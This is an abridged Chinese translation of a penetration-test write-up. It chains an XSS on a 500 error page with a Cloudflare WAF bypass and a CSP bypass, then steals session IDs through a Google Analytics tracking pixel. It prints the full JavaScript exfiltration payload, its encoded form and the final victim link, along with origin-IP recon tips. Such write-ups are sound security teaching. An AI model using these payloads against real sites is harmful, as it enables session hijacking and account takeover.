原文:
https://sensepost.com/blog/2021/from-500-to-account-takeover/
有删减
侦擦阶段:
在评估开始时,我很快就注意到了Web应用程序将Session ID存储为message变量中某种错误报告JavaScript函数的一部分。如果window.error被触发,该函数将被执行:

所以我一直在寻找一种提取这些数据的方法。XSS当然是我们最好的选择。
在评估过程中的某个地方,我的同事Koen Claes(@KoenClaes_)提出了这个有趣的XSS Payload,可以在500“内部服务器错误”页面上找到该向量。注意EndUserVisibleHtmlMessageURL中的参数:
https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=<XSSpayloadhere>&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False
听起来不是很安全,是吗?实际上,几乎太容易利用了。但是,有一个问题!有2种保护措施使我们无法使用该参数成功进行XSS攻击,因此我们需要制定攻击计划:
1. Cloudflare 的"military-grade AI-boosted"WAF
2. CSP
因为有Cloudflare前置,所以简单的<script>alert(1)</script>不会弹框。
绑定DNS
第一种方法是在hosts文件里绑定dns,这样就绕过了Cloudflare。但是我们需要知道网站的真实IP。
⚪在诸如Censys之类的服务上搜索网站的域名,这将揭示信息,例如哪些服务器正在使用相同的TLS证书。
⚪通过在Shodan上搜索相同的favico哈希来泄漏地址(在https://github.com/pielco11/fav-up中实现)
⚪搜索历史DNS数据。
但是在利用上,是不可行的,因为没有办法修改受害者的hosts。
Cloudflare绕过
Cloudflare确实做了很多很炫酷的工作。但是,很多可以绕过WAF的点却没有修。我找了一个2019年1月公开的直到2021年2月还可以用的payload。

我发现有些奇怪,URL中只要包含字符串eval,只要将第一个括号(替换为%26%230000000040,他们的WAF就不会阻止。
现在我们需要思考第二个问题,绕过CSP。
CSP 绕过
这个web应用的csp策略长这个样子
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://maps.googleapis.com https://webapp.example.eu https://connect.facebook.net https://themes.example.eu; img-src 'self' https://ssl.google-analytics.com https://s-static.ak.facebook.com https://webapp.example.eu https://themes.example.eu http://images-awstest.example.com; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://webapp.example.eu https://themes.example.eu; font-src 'self' https://themes.googleusercontent.com; frame-src https://webapp.example.eu https://www.facebook.com https://s-static.ak.facebook.com; object-src 'none'
通过这个CSP策略,我们可以看到因为 script-src 'self' 'unsafe-inline' 'unsafe-eval',所以是允许从自己域加载脚本。
然后我想这用fetch()去加载Burp Collaborator,但是不行,connect-src不允许发起外部HTTP请求。

尽管connect-src CSP中没有写default-src 'self'任何内容,但禁止“恶意”执行任何未声明的指令。那么,什么是允许呢?
img-src https://ssl.google-analytics.com
我们想办法通过谷歌分析提取出来。但是咋做呢?
与Facebook一样,Google Analytics(分析)通过跟踪像素提供跟踪功能。通常,跟踪像素会进行一些记录/指纹识别,但是在这种情况下,我们可以主动将其用作数据提取通道。
通过更深入地研究Google Analytics(分析)文档,collect可以构建一个有趣的URL。此URL具有特定的参数,该参数允许包含任意字符串。此参数称为ea。

为了能够使用跟踪像素成功添加分析,需要三个强制性参数:
1.tid,这是我们为执行攻击而设置的Google Analytics(分析)PoC帐户ID
2.cid,这是分配给浏览器/用户(也称为指纹识别)的区别的随机数
3.ea,可以为其分配任何任意值
因此,一个简单的例子是:
https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=13333337&t=event&ec=email&ea=anystring
考虑到该URL,可以肯定地说,我们也可以绕过CSP策略,从而完成攻击的最后一个目标。
将所有的利用信息放在一起,现在我们拥有了整条攻击链路。
1.JS获取sessionID
2.Cloudflare绕过
3.CSP绕过
4.谷歌分析collect URL
首先我们用js来提取这个sessionID,我用regex101.com测试写了个正则来提取这个值。

正则表达式:
/(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm

现在我们开始写利用代码
我们想把google分析的追踪像素放到网页里,我们先定义一个变量。我们称之为gaimage:
var gaimage = document.createElement("img");
然后我们声明我们的regex变量
var regex = /(?:SessionID: (?:[a-zA-Z0-9-_]{24}))/gm;
接下来这一步有点复杂,
这个应用在任意地方都会返回这个错误的js函数和200状态码,但是xss的入口点实在500状态码的页面。所以,我们不得不搞一个CSRF。基本思路是请求一个包含sessionID的响应页。
我们的javascript要做以下的事情。
1.获取返回200 OK的页面的页面内容,出于PoC的目的,它是一个随机页面URL,名为: /Search/Criteria
2.将我们的Google Analytics(分析)collectURL分配为img属性的源
3.cid由Math.random()函数随机生成
4.最重要的是,该ea参数填充有使用正则表达式提取的SessionID值
fetch("/Search/Criteria").then(response=> response.text()).then(data => gaimage.src ="https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid="+ Math.floor(Math.random() * 8999999999 + 1000000000) +"&t=event&ec=email&ea=" +encodeURIComponent(data.match(regex)));
最后,通过将实际代码附加gaimage到HTML DOM本身来包装此代码:
document.head.appendChild(gaimage);
img我们的JavaScript生成的恶意元素如下所示:
<img src="https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=8664644683&t=event&ec=email&ea=SessionID%3A%20ppqiitmapj45dq1dacmgeo0a">
构建HTML注入
作为准备攻击的最后一步,我们需要EndUserVisibleHtmlMessage在发生XSS的参数内尽可能整齐地收集所有内容。为了防止出现任何编码问题(或可能的检测问题),我选择先使用base64然后再使用URL编码对JavaScript有效负载进行编码。这意味着这段代码:
var gaimage = document.createElement("img");
var regex = /(?:SessionID:(?:[a-zA-Z0-9-_]{24}))/gm;
fetch("/Search/Criteria").then(response=> response.text()).then(data => gaimage.src ="https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid="+ Math.floor(Math.random() * 8999999999 + 1000000000)+"&t=event&ec=email&ea="+encodeURIComponent(data.match(regex)));
document.head.appendChild(gaimage);
变成这样:
dmFyIGdhaW1hZ2UgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbWciKTsKdmFyIHJlZ2V4ID0gLyg%2FOlNlc3Npb25JRDogKD86W2EtekEtWjAtOS1fXXsyNH0pKS9nbTsgZmV0Y2goIi9TZWFyY2gvQ3JpdGVyaWEiKS50aGVuKHJlc3BvbnNlID0%2BIHJlc3BvbnNlLnRleHQoKSkudGhlbihkYXRhID0%2BIGdhaW1hZ2Uuc3JjID0gImh0dHBzOi8vc3NsLmdvb2dsZS1hbmFseXRpY3MuY29tL2NvbGxlY3Q%2Fdj0xJnRpZD1VQS0xOTAxODMwMTUtMSZjaWQ9IiArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSArICImdD1ldmVudCZlYz1lbWFpbCZlYT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRhdGEubWF0Y2gocmVnZXgpKSk7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZ2FpbWFnZSk7
这也意味着输出有效负载必须通过解码我们执行的编码步骤来构建HTML有效负载本身:
<svg onload=eval(atob(decodeURIComponent("dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg/OlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs=")))>
但是,上述HTML无效,因为它没有绕过Cloudflare的waf。通过应用我之前提到的Cloudflare绕过,我们到达了我们可以发送给受害者的最终链接:
https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3Csvg%20onload=eval%26%230000000040atob%26%230000000040decodeURIComponent%26%230000000040%22dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg%2FOlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs%3D%22)))%3E&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False
从受害者浏览器的角度来看,该<img>标签将按如下方式插入到DOM中。

在浏览器中执行HTML注入而不会在客户端触发错误。将会话ID添加到跟踪像素后,就可以通过Google Analytics(分析)将有效负载发送给攻击者了!
在Google Analytics(分析)信息中心中,作为攻击者,我们可以看到受害者会话ID正在作为“活动用户”发送到我们的应用程序中:)

译者按:
入口是一个500页面的XSS,还有WAF和CSP。怎么搞呢?先用公开的payload把waf过了。因为CSP里有google,就利用Google自带的服务来绕过CSP。分析一下,问题出在哪,第一,XSS先修了,封住入口 第二,前端为什么会有session信息呢,可能也需要改了。
本文迁移自知识星球“火线Zone”